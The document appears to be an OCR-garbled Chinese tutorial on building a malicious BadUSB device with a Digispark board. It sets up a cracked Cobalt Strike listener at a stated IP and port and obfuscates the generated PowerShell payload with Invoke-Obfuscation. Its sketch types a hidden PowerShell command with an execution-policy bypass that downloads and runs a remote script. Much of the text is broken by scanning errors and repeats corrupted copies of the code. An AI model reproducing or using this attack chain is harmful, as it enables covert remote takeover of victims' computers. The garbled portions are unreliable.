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1. &% arduino BY IDE,

TEGtEE: https://www.arduino.cc/en/Main/Software

FTARTE: https://downloads.arduino.cc/arduino-1.8.3-windows.zip



Download the Arduino IDE

Windows installer, For Windows 7 and up
Windows FIP file for non admin install

ARDUINO 1.8.13
The open-source Arduing Software (IDE) makes it sasy 1o
write code and upload it 1o the board. It runs on

Windows app Requires Win & 1.0 10

Windows, Mac O3 X, and Linux. The emarcnment is X 7
% WTTTDEn in java and based on Processang and other opens Mac OS5 I\ ™ | pyver

source soiftware.

Thig Softwans can be ubed with &y Ardund Bodard Limu 32 bits

Refer to the Geating Started page for Installation

e Linux ARM 32 bits
Linux ARM 64 bits
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Digispark Pro (Default 16 Mhz)

Digispark Pro (16 Mhz) (32 byte buffer)

Digispark Pro (16 Mhz) (64 byte buffer)
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java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap
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Create a listener.

BE |I:3adl_|st3 |

Fayload: |Eieatn3n HTTP -

Payload Options

HTTF Hosts: 129.204.113.202

HTTP Host (Stager): [120.204 113 202

Profile: default =

HTTP Port (C2).  |5555

HTTP Port (Bind): |

HTTP Host Header |

HTTP Proxy: [
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%L [PowerShell v v

x64:  []{EFx64 payload

[ Generate ” ﬁ-’ﬂ]]]_ SecouanElFE
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PowerShell g9% 58] LAR Invoke-Obfuscation, Invoke-Obfuscation FEZEXT ps1 fAH
TR, FENBE— ps #Y payload,
HA Invoke-Obfuscation BRfS, £ PowerShell #1785

Import-Module .\Invoke-Obfuscation.psdl

Invoke-Obfuscation

github:https://github.com/danielbohannon/Invoke-Obfuscation
RIeHITIES, IBERMLIER Ps1 34

set scriptpath c:\xxx\payload.psl

BB TEEFLIRRT ps A3

set scriptblock 'echo xss'
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out C:\xxx\xxx.psl
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PowerShell.exe -file result.psl
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#include "DigiKeyboard.h"
#define KEY_ESC 41



#define KEY_BACKSPACE 42
#define KEY_TAB 43
#define KEY_PRT_SCR 70
#define KEY_DELETE 76

void setup() {
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(0);

DigiKeyboard.delay(3000);

DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);

DigiKeyboard.delay(1000);

DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object
Net.WebClient).DownloadString('http://qianxiao996.cn/badusb.psi');"));

DigiKeyboard.delay(5090);

DigiKeyboard.sendKeyStroke(KEY_ENTER);

DigiKeyboard.delay(759);

DigiKeyboard.sendKeyStroke(KEY_ENTER);

}
void loop() {

}
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T IR I0E 1M REEn

sy "DigiKeyboard.h
EEY_ESC 41

fdefine REY BACERSFACE 42

fdefine EEY_ TAB 43

fdefine REY_ PRT SCR 70

i F'.F!‘L'_.'.\E!'.F!T!"! 78

DigiKeyboard. Lavy (S000) ;

d.sandRey3troke (0] ;
Digikeyboard.delay (3000) ;
Digikeyboard.sendRey3troke (REY R,MOD GUI_LEFT) ;
Digikeyboard. (1000 ; - - .

DigiKeyboard.print (P{"powershell =WindowStyle Hidden =NoLogo
igikeyboard.delay (500) ;
Digikeyboasd. sendReydtroke (REY_ENTER) ;

DigiKeyboard. Lavw [750) ;

igikeyboard. sandRayItroka (EEY _ENTER) ;
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sy "DigiKeyboard.h
EEY_ESC 41

fdefine REY BACERSFACE 42

fdefine EEY_ TAB 43

fdefine REY_ PRT SCR 70

i F'.F!‘L'_.'.\E!'.F!T!"! 78

ard. Lay {5000) ;

d.sandRey3troke (0] ;
Digikeyboard.delay (3000) ;
Digikeyboard.sendRey3troke (REY R,MOD GUI_LEFT) ;
Digikeyboard. (1000 ; - - .

DigiKeyboard.print (P{"powershell =WindowStyle Hidden =NoLogo
igikeyboard.delay (500) ;
Digikeyboasd. sendReydtroke (REY_ENTER) ;

DigiKeyboard. Lavw [750) ;

igikeyboard. sandRayItroka (EEY _ENTER) ;
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